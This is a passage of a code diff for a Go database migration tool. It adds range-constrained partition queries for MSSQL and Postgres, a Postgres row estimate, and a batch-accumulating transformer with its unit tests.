+		t.Errorf("expected both inclusive, got minInc=%v maxInc=%v", p.Range.IsMinInclusive, p.Range.IsMaxInclusive)
+	}
+}
+
+func TestPartitionRangeGenerator_SinglePartition_MinOnly(t *testing.T) {
+	ctx := context.Background()
+	mock := &MockTableAnalyzer{totalRows: 50}
+	jobRange := config.RangeConfig{Min: ptr64(100), IsMinInclusive: true}
+
+	partitions, err := PartitionRangeGenerator(ctx, mock, testTableInfo, "id", "EXACT", 100, jobRange)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	p := partitions[0]
+	if !p.HasRange {
+		t.Error("expected HasRange=true")
+	}
+	if p.Range.Min != 100 {
+		t.Errorf("expected Min=100, got %d", p.Range.Min)
+	}
+	if p.Range.Max != 0 {
+		t.Errorf("expected Max=0 (no upper bound), got %d", p.Range.Max)
+	}
+}
+
+func TestPartitionRangeGenerator_SinglePartition_MaxOnly(t *testing.T) {
+	ctx := context.Background()
+	mock := &MockTableAnalyzer{totalRows: 50}
+	jobRange := config.RangeConfig{Max: ptr64(200), IsMaxInclusive: true}
+
+	partitions, err := PartitionRangeGenerator(ctx, mock, testTableInfo, "id", "EXACT", 100, jobRange)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	p := partitions[0]
+	if !p.HasRange {
+		t.Error("expected HasRange=true")
+	}
+	if p.Range.Min != 0 {
+		t.Errorf("expected Min=0 (no lower bound), got %d", p.Range.Min)
+	}
+	if p.Range.Max != 200 {
+		t.Errorf("expected Max=200, got %d", p.Range.Max)
+	}
+}

internal/app/etl/table_analyzers/mssql.go

@@ -196,17 +196,65 @@ GROUP BY t.name`
 	return rowsCount, nil
 }
 
+func (ta *MssqlTableAnalyzer) QueryMaxMinFromColumn(
+	ctx context.Context,
+	tableInfo config.TableInfo,
+	columnName string,
+) (etl.MaxMinColumnResult, error) {
+	query := fmt.Sprintf(`
+SELECT
+	MIN([%s]) AS min_value,
+	MAX([%s]) AS max_value
+FROM [%s].[%s]`, columnName, columnName, tableInfo.Schema, tableInfo.Table)
+
+	ctxTimeout, cancel := context.WithTimeout(ctx, 1*time.Minute)
+	defer cancel()
+
+	result := etl.MaxMinColumnResult{}
+	err := ta.db.QueryRow(ctxTimeout, query).Scan(&result.Min, &result.Max)
+	if err != nil {
+		return etl.MaxMinColumnResult{}, err
+	}
+
+	return result, nil
+}
+
 func (ta *MssqlTableAnalyzer) CalculatePartitionRanges(
 	ctx context.Context,
 	tableInfo config.TableInfo,
 	partitionColumn string,
 	maxPartitions int64,
+	rangeConstraint config.RangeConfig,
 ) ([]models.Partition, error) {
+	whereClause := ""
+	args := []any{sql.Named("maxPartitions", maxPartitions)}
+
+	if rangeConstraint.Min != nil || rangeConstraint.Max != nil {
+		var conditions []string
+		if rangeConstraint.Min != nil {
+			minOp := ">"
+			if rangeConstraint.IsMinInclusive {
+				minOp = ">="
+			}
+			conditions = append(conditions, fmt.Sprintf("[%s] %s @rangeMin", partitionColumn, minOp))
+			args = append(args, sql.Named("rangeMin", *rangeConstraint.Min))
+		}
+		if rangeConstraint.Max != nil {
+			maxOp := "<"
+			if rangeConstraint.IsMaxInclusive {
+				maxOp = "<="
+			}
+			conditions = append(conditions, fmt.Sprintf("[%s] %s @rangeMax", partitionColumn, maxOp))
+			args = append(args, sql.Named("rangeMax", *rangeConstraint.Max))
+		}
+		whereClause = "WHERE " + strings.Join(conditions, " AND ")
+	}
+
 	query := fmt.Sprintf(`
 SELECT
 	MIN([%s]) AS lower_limit,
 	MAX([%s]) AS upper_limit
-FROM (SELECT [%s], NTILE(@maxPartitions) OVER (ORDER BY [%s]) AS batch_id FROM [%s].[%s]) AS T
+FROM (SELECT [%s], NTILE(@maxPartitions) OVER (ORDER BY [%s]) AS batch_id FROM [%s].[%s] %s) AS T
 GROUP BY batch_id
 ORDER BY batch_id`,
 		partitionColumn,
@@ -214,12 +262,13 @@ ORDER BY batch_id`,
 		partitionColumn,
 		partitionColumn,
 		tableInfo.Schema,
-		tableInfo.Table)
+		tableInfo.Table,
+		whereClause)
 
 	ctxTimeout, cancel := context.WithTimeout(ctx, 1*time.Minute)
 	defer cancel()
 
-	rows, err := ta.db.Query(ctxTimeout, query, sql.Named("maxPartitions", maxPartitions))
+	rows, err := ta.db.Query(ctxTimeout, query, args...)
 	if err != nil {
 		return nil, err
 	}
@@ -234,6 +283,7 @@ ORDER BY batch_id`,
 			RetryCounter: 0,
 			Range: models.PartitionRange{
 				IsMinInclusive: true,
+				IsMaxInclusive: true,
 			},
 		}
 

internal/app/etl/table_analyzers/postgres.go

@@ -2,6 +2,7 @@ package table_analyzers
 
 import (
 	"context"
+	"fmt"
 	"strings"
 	"time"
 
@@ -9,6 +10,7 @@ import (
 	dbwrapper "git.ksdemosapps.com/kylesoda/go-migrate/internal/app/db-wrapper"
 	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/etl"
 	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/models"
+	"github.com/google/uuid"
 )
 
 type PostgresTableAnalyzer struct {
@@ -161,7 +163,50 @@ func (ta *PostgresTableAnalyzer) EstimateTotalRows(
 	ctx context.Context,
 	tableInfo config.TableInfo,
 ) (int64, error) {
-	return 0, nil
+	query := `
+SELECT reltuples::bigint
+FROM pg_class
+JOIN pg_namespace ON pg_namespace.oid = pg_class.relnamespace
+WHERE pg_namespace.nspname = $1 AND pg_class.relname = $2`
+
+	ctxTimeout, cancel := context.WithTimeout(ctx, 1*time.Minute)
+	defer cancel()
+
+	var estimate int64
+	err := ta.db.QueryRow(ctxTimeout, query, tableInfo.Schema, tableInfo.Table).Scan(&estimate)
+	if err != nil {
+		return 0, err
+	}
+
+	if estimate < 0 {
+		countQuery := fmt.Sprintf(`SELECT COUNT(*) FROM "%s"."%s"`, tableInfo.Schema, tableInfo.Table)
+		err = ta.db.QueryRow(ctxTimeout, countQuery).Scan(&estimate)
+		if err != nil {
+			return 0, err
+		}
+	}
+
+	return estimate, nil
+}
+
+func (ta *PostgresTableAnalyzer) QueryMaxMinFromColumn(
+	ctx context.Context,
+	tableInfo config.TableInfo,
+	columnName string,
+) (etl.MaxMinColumnResult, error) {
+	query := fmt.Sprintf(`SELECT MIN("%s"), MAX("%s") FROM "%s"."%s"`,
+		columnName, columnName, tableInfo.Schema, tableInfo.Table)
+
+	ctxTimeout, cancel := context.WithTimeout(ctx, 1*time.Minute)
+	defer cancel()
+
+	result := etl.MaxMinColumnResult{}
+	err := ta.db.QueryRow(ctxTimeout, query).Scan(&result.Min, &result.Max)
+	if err != nil {
+		return etl.MaxMinColumnResult{}, err
+	}
+
+	return result, nil
 }
 
 func (ta *PostgresTableAnalyzer) CalculatePartitionRanges(
@@ -169,6 +214,80 @@ func (ta *PostgresTableAnalyzer) CalculatePartitionRanges(
 	tableInfo config.TableInfo,
 	partitionColumn string,
 	maxPartitions int64,
+	rangeConstraint config.RangeConfig,
 ) ([]models.Partition, error) {
-	return []models.Partition{}, nil
+	whereClause := ""
+	args := []any{maxPartitions}
+
+	if rangeConstraint.Min != nil || rangeConstraint.Max != nil {
+		var conditions []string
+		if rangeConstraint.Min != nil {
+			minOp := ">"
+			if rangeConstraint.IsMinInclusive {
+				minOp = ">="
+			}
+			args = append(args, *rangeConstraint.Min)
+			conditions = append(conditions, fmt.Sprintf(`"%s" %s $%d`, partitionColumn, minOp, len(args)))
+		}
+		if rangeConstraint.Max != nil {
+			maxOp := "<"
+			if rangeConstraint.IsMaxInclusive {
+				maxOp = "<="
+			}
+			args = append(args, *rangeConstraint.Max)
+			conditions = append(conditions, fmt.Sprintf(`"%s" %s $%d`, partitionColumn, maxOp, len(args)))
+		}
+		whereClause = "WHERE " + strings.Join(conditions, " AND ")
+	}
+
+	query := fmt.Sprintf(`
+SELECT MIN("%s") AS lower_limit, MAX("%s") AS upper_limit
+FROM (
+	SELECT "%s", NTILE($1) OVER (ORDER BY "%s") AS batch_id
+	FROM "%s"."%s" %s
+) AS t
+GROUP BY batch_id
+ORDER BY batch_id`,
+		partitionColumn,
+		partitionColumn,
+		partitionColumn,
+		partitionColumn,
+		tableInfo.Schema,
+		tableInfo.Table,
+		whereClause)
+
+	ctxTimeout, cancel := context.WithTimeout(ctx, 1*time.Minute)
+	defer cancel()
+
+	rows, err := ta.db.Query(ctxTimeout, query, args...)
+	if err != nil {
+		return nil, err
+	}
+	defer rows.Close()
+
+	partitions := make([]models.Partition, 0, maxPartitions)
+
+	for rows.Next() {
+		partition := models.Partition{
+			Id:           uuid.New(),
+			HasRange:     true,
+			RetryCounter: 0,
+			Range: models.PartitionRange{
+				IsMinInclusive: true,
+				IsMaxInclusive: true,
+			},
+		}
+
+		if err := rows.Scan(&partition.Range.Min, &partition.Range.Max); err != nil {
+			return nil, err
+		}
+
+		partitions = append(partitions, partition)
+	}
+
+	if err := rows.Err(); err != nil {
+		return nil, err
+	}
+
+	return partitions, nil
 }

internal/app/etl/transformers/consume.go

@@ -0,0 +1,119 @@
+package transformers
+
+import (
+	"context"
+	"errors"
+	"sync"
+
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/custom_errors"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/models"
+	"github.com/google/uuid"
+)
+
+type batchAccumulator struct {
+	batchSize int
+	rows      []models.UnknownRowValues
+	parents   []models.BatchRef
+}
+
+func (a *batchAccumulator) add(batch models.Batch) {
+	a.rows = append(a.rows, batch.Rows...)
+	a.parents = append(a.parents, models.BatchRef{Id: batch.Id})
+}
+
+func (a *batchAccumulator) ready() bool {
+	return len(a.rows) >= a.batchSize
+}
+
+func (a *batchAccumulator) flush(ctx context.Context, chOut chan<- models.Batch, wg *sync.WaitGroup) bool {
+	if len(a.rows) == 0 {
+		return true
+	}
+	out := models.Batch{
+		Id:            uuid.New(),
+		ParentBatches: a.parents,
+		Rows:          a.rows,
+	}
+	wg.Add(1)
+	select {
+	case chOut <- out:
+	case <-ctx.Done():
+		wg.Done()
+		return false
+	}
+	a.rows = nil
+	a.parents = nil
+	return true
+}
+
+func sendTransformError(ctx context.Context, err error, ch chan<- custom_errors.JobError) {
+	if errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) {
+		return
+	}
+	var jobErr custom_errors.JobError
+	if je, ok := errors.AsType[*custom_errors.JobError](err); ok {
+		jobErr = *je
+	} else {
+		jobErr = custom_errors.JobError{ShouldCancelJob: true, Msg: "Transformation failed", Prev: err}
+	}
+	select {
+	case ch <- jobErr:
+	case <-ctx.Done():
+	}
+}
+
+func (mssqlTr *MssqlTransformer) Consume(
+	ctx context.Context,
+	columns []models.ColumnType,
+	retryConfig config.RetryConfig,
+	batchSize int,
+	chBatchesIn <-chan models.Batch,
+	chBatchesOut chan<- models.Batch,
+	chJobErrorsOut chan<- custom_errors.JobError,
+	wgActiveBatches *sync.WaitGroup,
+) {
+	transformationPlan := computeTransformationPlan(columns)
+	storagePlan := computeStorageTransformationPlan(ctx, mssqlTr.azureClient, mssqlTr.toStorage, columns, mssqlTr.sourceTable)
+	transformationPlan = append(transformationPlan, storagePlan...)
+
+	acc := &batchAccumulator{batchSize: batchSize}
+
+	for {
+		select {
+		case <-ctx.Done():
+			return
+
+		case batch, ok := <-chBatchesIn:
+			if !ok {
+				acc.flush(ctx, chBatchesOut, wgActiveBatches)
+				return
+			}
+
+			if len(transformationPlan) > 0 {
+				if err := ProcessBatchWithRetries(ctx, &batch, transformationPlan, retryConfig); err != nil {
+					sendTransformError(ctx, err, chJobErrorsOut)
+					return
+				}
+			}
+
+			if batchSize <= 0 {
+				wgActiveBatches.Add(1)
+				select {
+				case chBatchesOut <- batch:
+				case <-ctx.Done():
+					wgActiveBatches.Done()
+					return
+				}
+				continue
+			}
+
+			acc.add(batch)
+			if acc.ready() {
+				if !acc.flush(ctx, chBatchesOut, wgActiveBatches) {
+					return
+				}
+			}
+		}
+	}
+}

internal/app/etl/transformers/consume_test.go

@@ -0,0 +1,545 @@
+package transformers
+
+import (
+	"context"
+	"errors"
+	"sync"
+	"testing"
+	"time"
+
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/custom_errors"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/models"
+	"github.com/google/uuid"
+)
+
+const testTimeout = 2 * time.Second
+
+func makeBatch(numRows int) models.Batch {
+	rows := make([]models.UnknownRowValues, numRows)
+	for i := range rows {
+		rows[i] = models.UnknownRowValues{i}
+	}
+	return models.Batch{Id: uuid.New(), Rows: rows}
+}
+
+func noRetry() config.RetryConfig {
+	return config.RetryConfig{Attempts: 1}
+}
+
+func newTransformer() *MssqlTransformer {
+	return &MssqlTransformer{}
+}
+
+func uuidColumn() models.ColumnType {
+	return models.NewColumnType("col_uuid", false, false, "uniqueidentifier", "uniqueidentifier", "string", false, 0, 0, 0)
+}
+
+func runConsume(
+	ctx context.Context,
+	tr *MssqlTransformer,
+	columns []models.ColumnType,
+	batchSize int,
+	chIn <-chan models.Batch,
+	chOut chan<- models.Batch,
+	chErr chan<- custom_errors.JobError,
+	wg *sync.WaitGroup,
+) <-chan struct{} {
+	done := make(chan struct{})
+	go func() {
+		tr.Consume(ctx, columns, noRetry(), batchSize, chIn, chOut, chErr, wg)
+		close(done)
+	}()
+	return done
+}
+
+func drainOut(chOut <-chan models.Batch, wg *sync.WaitGroup) []models.Batch {
+	var batches []models.Batch
+	for {
+		select {
+		case b := <-chOut:
+			batches = append(batches, b)
+			wg.Done()
+		default:
+			return batches
+		}
+	}
+}
+func TestBatchAccumulator_Add(t *testing.T) {
+	acc := &batchAccumulator{batchSize: 5}
+	b1 := makeBatch(2)
+	b2 := makeBatch(3)
+
+	acc.add(b1)
+	acc.add(b2)
+
+	if len(acc.rows) != 5 {
+		t.Errorf("expected 5 rows, got %d", len(acc.rows))
+	}
+	if len(acc.parents) != 2 {
+		t.Fatalf("expected 2 parents, got %d", len(acc.parents))
+	}
+	if acc.parents[0].Id != b1.Id || acc.parents[1].Id != b2.Id {
+		t.Error("parent IDs do not match source batch IDs")
+	}
+}
+
+func TestBatchAccumulator_Ready(t *testing.T) {
+	acc := &batchAccumulator{batchSize: 3}
+	acc.add(makeBatch(2))
+	if acc.ready() {
+		t.Error("should not be ready with 2 rows and batchSize=3")
+	}
+	acc.add(makeBatch(1))
+	if !acc.ready() {
+		t.Error("should be ready with 3 rows and batchSize=3")
+	}
+}
+
+func TestBatchAccumulator_Flush_Empty(t *testing.T) {
+	acc := &batchAccumulator{batchSize: 5}
+	chOut := make(chan models.Batch, 1)
+	var wg sync.WaitGroup
+
+	if !acc.flush(context.Background(), chOut, &wg) {
+		t.Error("flush on empty accumulator should return true")
+	}
+	if len(chOut) != 0 {
+		t.Error("flush on empty accumulator should send nothing")
+	}
+}
+
+func TestBatchAccumulator_Flush_Success(t *testing.T) {
+	acc := &batchAccumulator{batchSize: 2}
+	b := makeBatch(2)
+	acc.add(b)
+
+	chOut := make(chan models.Batch, 1)
+	var wg sync.WaitGroup
+
+	if !acc.flush(context.Background(), chOut, &wg) {
+		t.Fatal("flush should return true on success")
+	}
+
+	select {
+	case out := <-chOut:
+		wg.Done()
+		if len(out.Rows) != 2 {
+			t.Errorf("expected 2 rows in flushed batch, got %d", len(out.Rows))
+		}
+		if len(out.ParentBatches) != 1 || out.ParentBatches[0].Id != b.Id {
+			t.Error("flushed batch should reference the source batch as parent")
+		}
+	default:
+		t.Error("expected a batch in chOut after flush")
+	}
+
+	if len(acc.rows) != 0 || len(acc.parents) != 0 {
+		t.Error("accumulator state should be reset after flush")
+	}
+	wg.Wait()
+}
+
+func TestBatchAccumulator_Flush_ContextCancelled(t *testing.T) {
+	acc := &batchAccumulator{batchSize: 2}
+	acc.add(makeBatch(2))
+
+	chOut := make(chan models.Batch)
+	var wg sync.WaitGroup
+
+	ctx, cancel := context.WithCancel(context.Background())
+	cancel()
+
+	if acc.flush(ctx, chOut, &wg) {
+		t.Error("flush should return false when context is cancelled")
+	}
+
+	wg.Wait()
+}
+
+func TestSendTransformError_PlainError(t *testing.T) {
+	ch := make(chan custom_errors.JobError, 1)
+
+	sendTransformError(context.Background(), errors.New("something broke"), ch)
+
+	select {
+	case e := <-ch:
+		if !e.ShouldCancelJob {
+			t.Error("plain error should produce ShouldCancelJob=true")
+		}
+	default:
+		t.Error("expected a job error in the channel")
+	}
+}
+
+func TestSendTransformError_JobError_Passthrough(t *testing.T) {
+	ch := make(chan custom_errors.JobError, 1)
+	original := &custom_errors.JobError{ShouldCancelJob: false, Msg: "custom msg"}
+
+	sendTransformError(context.Background(), original, ch)
+
+	select {
+	case e := <-ch:
+		if e.ShouldCancelJob != false || e.Msg != "custom msg" {
+			t.Errorf("JobError should pass through unchanged, got %+v", e)
+		}
+	default:
+		t.Error("expected a job error in the channel")
+	}
+}
+
+func TestSendTransformError_ContextCancelled_Silent(t *testing.T) {
+	ch := make(chan custom_errors.JobError, 1)
+
+	ctx, cancel := context.WithCancel(context.Background())
+	cancel()
+
+	sendTransformError(ctx, context.Canceled, ch)
+
+	if len(ch) != 0 {
+		t.Error("context.Canceled should be silently dropped")
+	}
+}
+
+func TestSendTransformError_DeadlineExceeded_Silent(t *testing.T) {
+	ch := make(chan custom_errors.JobError, 1)
+
+	ctx, cancel := context.WithCancel(context.Background())
+	cancel()
+
+	sendTransformError(ctx, context.DeadlineExceeded, ch)
+
+	if len(ch) != 0 {
+		t.Error("context.DeadlineExceeded should be silently dropped")
+	}
+}
+
+func TestConsume_Passthrough_PreservesOriginalBatch(t *testing.T) {
+	tr := newTransformer()
+	chIn := make(chan models.Batch, 1)
+	chOut := make(chan models.Batch, 1)
+	chErr := make(chan custom_errors.JobError, 1)
+	var wg sync.WaitGroup
+
+	batch := makeBatch(3)
+	chIn <- batch
+	close(chIn)
+
+	done := runConsume(context.Background(), tr, nil, 0, chIn, chOut, chErr, &wg)
+
+	select {
+	case got := <-chOut:
+		wg.Done()
+		if got.Id != batch.Id {
+			t.Error("passthrough should preserve the original batch ID")
+		}
+		if len(got.Rows) != 3 {
+			t.Errorf("expected 3 rows, got %d", len(got.Rows))
+		}
+	case <-time.After(testTimeout):
+		t.Fatal("timeout waiting for output batch")
+	}
+
+	<-done
+	wg.Wait()
+}
+
+func TestConsume_Passthrough_WaitGroupBalanced(t *testing.T) {
+	tr := newTransformer()
+	chIn := make(chan models.Batch, 3)
+	chOut := make(chan models.Batch, 3)
+	chErr := make(chan custom_errors.JobError, 1)
+	var wg sync.WaitGroup
+
+	for range 3 {
+		chIn <- makeBatch(1)
+	}
+	close(chIn)
+
+	done := runConsume(context.Background(), tr, nil, 0, chIn, chOut, chErr, &wg)
+	<-done
+
+	batches := drainOut(chOut, &wg)
+	if len(batches) != 3 {
+		t.Errorf("expected 3 output batches, got %d", len(batches))
+	}
+
+	wg.Wait()
+}
+
+func TestConsume_Accumulation_FlushOnThreshold(t *testing.T) {
+	tr := newTransformer()
+	chIn := make(chan models.Batch, 3)
+	chOut := make(chan models.Batch, 2)
+	chErr := make(chan custom_errors.JobError, 1)
+	var wg sync.WaitGroup
+
+	for range 3 {
+		chIn <- makeBatch(1)
+	}
+	close(chIn)
+
+	done := runConsume(context.Background(), tr, nil, 3, chIn, chOut, chErr, &wg)
+	<-done
+
+	batches := drainOut(chOut, &wg)
+	if len(batches) != 1 {
+		t.Fatalf("expected 1 accumulated batch, got %d", len(batches))
+	}
+	if len(batches[0].Rows) != 3 {
+		t.Errorf("expected 3 rows in accumulated batch, got %d", len(batches[0].Rows))
+	}
+	wg.Wait()
+}
+
+func TestConsume_Accumulation_FlushOnClose(t *testing.T) {
+	tr := newTransformer()
+	chIn := make(chan models.Batch, 2)
+	chOut := make(chan models.Batch, 2)
+	chErr := make(chan custom_errors.JobError, 1)
+	var wg sync.WaitGroup
+
+	chIn <- makeBatch(1)
+	chIn <- makeBatch(1)
+	close(chIn)
+
+	done := runConsume(context.Background(), tr, nil, 10, chIn, chOut, chErr, &wg)
+	<-done
+
+	batches := drainOut(chOut, &wg)
+	if len(batches) != 1 {
+		t.Fatalf("expected 1 batch flushed on close, got %d", len(batches))
+	}
+	if len(batches[0].Rows) != 2 {
+		t.Errorf("expected 2 rows, got %d", len(batches[0].Rows))
+	}
+	wg.Wait()
+}
+
+func TestConsume_Accumulation_TracksAllParentBatches(t *testing.T) {
+	tr := newTransformer()
+	chIn := make(chan models.Batch, 2)
+	chOut := make(chan models.Batch, 2)
+	chErr := make(chan custom_errors.JobError, 1)
+	var wg sync.WaitGroup
+
+	b1 := makeBatch(1)
+	b2 := makeBatch(1)
+	chIn <- b1
+	chIn <- b2
+	close(chIn)
+
+	done := runConsume(context.Background(), tr, nil, 10, chIn, chOut, chErr, &wg)
+	<-done
+
+	batches := drainOut(chOut, &wg)
+	if len(batches) != 1 {
+		t.Fatalf("expected 1 output batch, got %d", len(batches))
+	}
+	parents := batches[0].ParentBatches
+	if len(parents) != 2 {
+		t.Fatalf("expected 2 parent refs, got %d", len(parents))
+	}
+	if parents[0].Id != b1.Id || parents[1].Id != b2.Id {
+		t.Error("parent IDs should match source batch IDs in order")
+	}
+	wg.Wait()
+}
+
+func TestConsume_Accumulation_MultipleFlushes(t *testing.T) {
+	tr := newTransformer()
+	chIn := make(chan models.Batch, 5)
+	chOut := make(chan models.Batch, 5)
+	chErr := make(chan custom_errors.JobError, 1)
+	var wg sync.WaitGroup
+
+	for range 5 {
+		chIn <- makeBatch(1)
+	}
+	close(chIn)
+
+	done := runConsume(context.Background(), tr, nil, 2, chIn, chOut, chErr, &wg)
+	<-done
+
+	batches := drainOut(chOut, &wg)
+	if len(batches) != 3 {
+		t.Fatalf("expected 3 output batches (2+2+1 rows), got %d", len(batches))
+	}
+	totalRows := 0
+	for _, b := range batches {
+		totalRows += len(b.Rows)
+	}
+	if totalRows != 5 {
+		t.Errorf("expected 5 total rows across all batches, got %d", totalRows)
+	}
+	wg.Wait()
+}
+
+func TestConsume_EmptyInput_NoOutput(t *testing.T) {
+	tr := newTransformer()
+	chIn := make(chan models.Batch)
+	chOut := make(chan models.Batch, 1)
+	chErr := make(chan custom_errors.JobError, 1)
+	var wg sync.WaitGroup
+
+	close(chIn)
+
+	done := runConsume(context.Background(), tr, nil, 5, chIn, chOut, chErr, &wg)
+
+	select {
+	case <-done:
+	case <-time.After(testTimeout):
+		t.Fatal("timeout: Consume did not exit after empty input channel was closed")
+	}
+
+	if len(chOut) != 0 {
+		t.Error("expected no output for empty input")
+	}
+	wg.Wait()
+}
+
+func TestConsume_TransformError_SendsJobError(t *testing.T) {
+	tr := newTransformer()
+	col := uuidColumn()
+
+	chIn := make(chan models.Batch, 1)
+	chOut := make(chan models.Batch, 1)
+	chErr := make(chan custom_errors.JobError, 1)
+	var wg sync.WaitGroup
+
+	batch := models.Batch{
+		Id:   uuid.New(),
+		Rows: []models.UnknownRowValues{{[]byte{1, 2, 3}}},
+	}
+	chIn <- batch
+
+	done := runConsume(context.Background(), tr, []models.ColumnType{col}, 0, chIn, chOut, chErr, &wg)
+
+	select {
+	case err := <-chErr:
+		if !err.ShouldCancelJob {
+			t.Error("transform error should set ShouldCancelJob=true")
+		}
+	case <-time.After(testTimeout):
+		t.Fatal("timeout: expected a job error from transform failure")
+	}
+
+	<-done
+	wg.Wait()
+}
+
+func TestConsume_TransformError_NoOutputForwarded(t *testing.T) {
+	tr := newTransformer()
+	col := uuidColumn()
+
+	chIn := make(chan models.Batch, 1)
+	chOut := make(chan models.Batch, 1)
+	chErr := make(chan custom_errors.JobError, 1)
+	var wg sync.WaitGroup
+
+	batch := models.Batch{
+		Id:   uuid.New(),
+		Rows: []models.UnknownRowValues{{[]byte{1, 2, 3}}},
+	}
+	chIn <- batch
+
+	done := runConsume(context.Background(), tr, []models.ColumnType{col}, 0, chIn, chOut, chErr, &wg)
+	<-done
+
+	if len(chOut) != 0 {
+		t.Error("no batch should be forwarded when transformation fails")
+	}
+	wg.Wait()
+}
+
+func TestConsume_ContextCancellation_Exits(t *testing.T) {
+	tr := newTransformer()
+	chIn := make(chan models.Batch)
+	chOut := make(chan models.Batch, 1)
+	chErr := make(chan custom_errors.JobError, 1)
+	var wg sync.WaitGroup
+
+	ctx, cancel := context.WithCancel(context.Background())
+	done := runConsume(ctx, tr, nil, 0, chIn, chOut, chErr, &wg)
+
+	cancel()
+
+	select {
+	case <-done:
+	case <-time.After(testTimeout):
+		t.Fatal("timeout: Consume did not exit after context cancellation")
+	}
+	wg.Wait()
+}
+
+func TestConsume_Transform_DatetimeConvertedToUTC(t *testing.T) {
+	tr := newTransformer()
+	col := models.NewColumnType("col_dt", false, false, "datetime", "datetime", "timestamp", false, 0, 0, 0)
+
+	chIn := make(chan models.Batch, 1)
+	chOut := make(chan models.Batch, 1)
+	chErr := make(chan custom_errors.JobError, 1)
+	var wg sync.WaitGroup
+
+	nonUTC := time.Date(2024, 1, 15, 12, 0, 0, 0, time.FixedZone("EST", -5*3600))
+	batch := models.Batch{
+		Id:   uuid.New(),
+		Rows: []models.UnknownRowValues{{nonUTC}},
+	}
+	chIn <- batch
+	close(chIn)
+
+	done := runConsume(context.Background(), tr, []models.ColumnType{col}, 0, chIn, chOut, chErr, &wg)
+	<-done
+
+	select {
+	case got := <-chOut:
+		wg.Done()
+		result, ok := got.Rows[0][0].(time.Time)
+		if !ok {
+			t.Fatal("expected time.Time in output row")
+		}
+		if result.Location() != time.UTC {
+			t.Errorf("expected UTC location after transform, got %v", result.Location())
+		}
+	default:
+		t.Error("expected an output batch")
+	}
+
+	wg.Wait()
+}
+
+func TestConsume_Transform_NilValueSkipped(t *testing.T) {
+	tr := newTransformer()
+	col := uuidColumn()
+
+	chIn := make(chan models.Batch, 1)
+	chOut := make(chan models.Batch, 1)
+	chErr := make(chan custom_errors.JobError, 1)
+	var wg sync.WaitGroup
+
+	batch := models.Batch{
+		Id:   uuid.New(),
+		Rows: []models.UnknownRowValues{{nil}},
+	}
+	chIn <- batch
+	close(chIn)
+
+	done := runConsume(context.Background(), tr, []models.ColumnType{col}, 0, chIn, chOut, chErr, &wg)
+	<-done
+
+	select {
+	case got := <-chOut:
+		wg.Done()
+		if got.Rows[0][0] != nil {
+			t.Error("nil value should pass through unchanged")
+		}
+	default:
+		t.Error("expected an output batch even when value is nil")
+	}
+
+	if len(chErr) != 0 {
+		t.Error("nil value should not produce an error")
+	}
+	wg.Wait()
+}

internal/app/etl/transformers/mssql.go

@@ -1,154 +1,21 @@
 package transformers
 
 import (
-	"context"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/azure"
-	"errors"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
-	"sync"
-	"time"
-
-	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/custom_errors"
 	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/etl"
-	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/models"
 )
 
-type MssqlTransformer struct{}
+type MssqlTransformer struct {
-
+	toStorage   config.ToStorageConfig
-func NewMssqlTransformer() etl.Transformer {
+	sourceTable config.SourceTableInfo
-	return &MssqlTransformer{}
+	azureClient *azure.Client
 }
 
-func computeTransformationPlan(columns []models.ColumnType) []etl.ColumnTransformPlan {
+func NewMssqlTransformer(toStorage config.ToStorageConfig, sourceTable config.SourceTableInfo, azureClient *azure.Client) etl.Transformer {
-	var plan []etl.ColumnTransformPlan
+	return &MssqlTransformer{
-
+		toStorage:   toStorage,
-	for i, col := range columns {
+		sourceTable: sourceTable,
-		switch col.SystemType() {
+		azureClient: azureClient,
-		case "uniqueidentifier":
-			plan = append(plan, etl.ColumnTransformPlan{
-				Index: i,
-				Fn: func(v any) (any, error) {
-					if b, ok := v.([]byte); ok && b != nil {
-						return mssqlUuidToBigEndian(b)
-					}
-					return v, nil
-				},
-			})
-
-		case "geometry", "geography":
-			plan = append(plan, etl.ColumnTransformPlan{
-				Index: i,
-				Fn: func(v any) (any, error) {
-					if b, ok := v.([]byte); ok && b != nil {
-						return wkbToEwkbWithSrid(b, 4326)
-					}
-					return v, nil
-				},
-			})
-
-		case "datetime", "datetime2":
-			plan = append(plan, etl.ColumnTransformPlan{
-				Index: i,
-				Fn: func(v any) (any, error) {
-					if t, ok := v.(time.Time); ok {
-						return ensureUTC(t), nil
-					}
-					return v, nil
-				},
-			})
-		}
-	}
-
-	return plan
-}
-
-const processBatchCtxCheck = 4096
-
-func (mssqlTr *MssqlTransformer) ProcessBatch(
-	ctx context.Context,
-	batch *models.Batch,
-	transformationPlan []etl.ColumnTransformPlan,
-) error {
-	for i, rowValues := range batch.Rows {
-		if i%processBatchCtxCheck == 0 {
-			if err := ctx.Err(); err != nil {
-				return err
-			}
-		}
-
-		if rowValues == nil {
-			continue
-		}
-
-		for _, task := range transformationPlan {
-			val := rowValues[task.Index]
-			if val == nil {
-				continue
-			}
-
-			transformed, err := task.Fn(val)
-			if err != nil {
-				return err
-			}
-			rowValues[task.Index] = transformed
-		}
-	}
-
-	return nil
-}
-
-func (mssqlTr *MssqlTransformer) Exec(
-	ctx context.Context,
-	columns []models.ColumnType,
-	chBatchesIn <-chan models.Batch,
-	chBatchesOut chan<- models.Batch,
-	chJobErrorsOut chan<- custom_errors.JobError,
-	wgActiveBatches *sync.WaitGroup,
-) {
-	transformationPlan := computeTransformationPlan(columns)
-
-	for {
-		if ctx.Err() != nil {
-			return
-		}
-
-		select {
-		case <-ctx.Done():
-			return
-
-		case batch, ok := <-chBatchesIn:
-			if !ok {
-				return
-			}
-
-			if len(transformationPlan) == 0 {
-				select {
-				case chBatchesOut <- batch:
-					wgActiveBatches.Add(1)
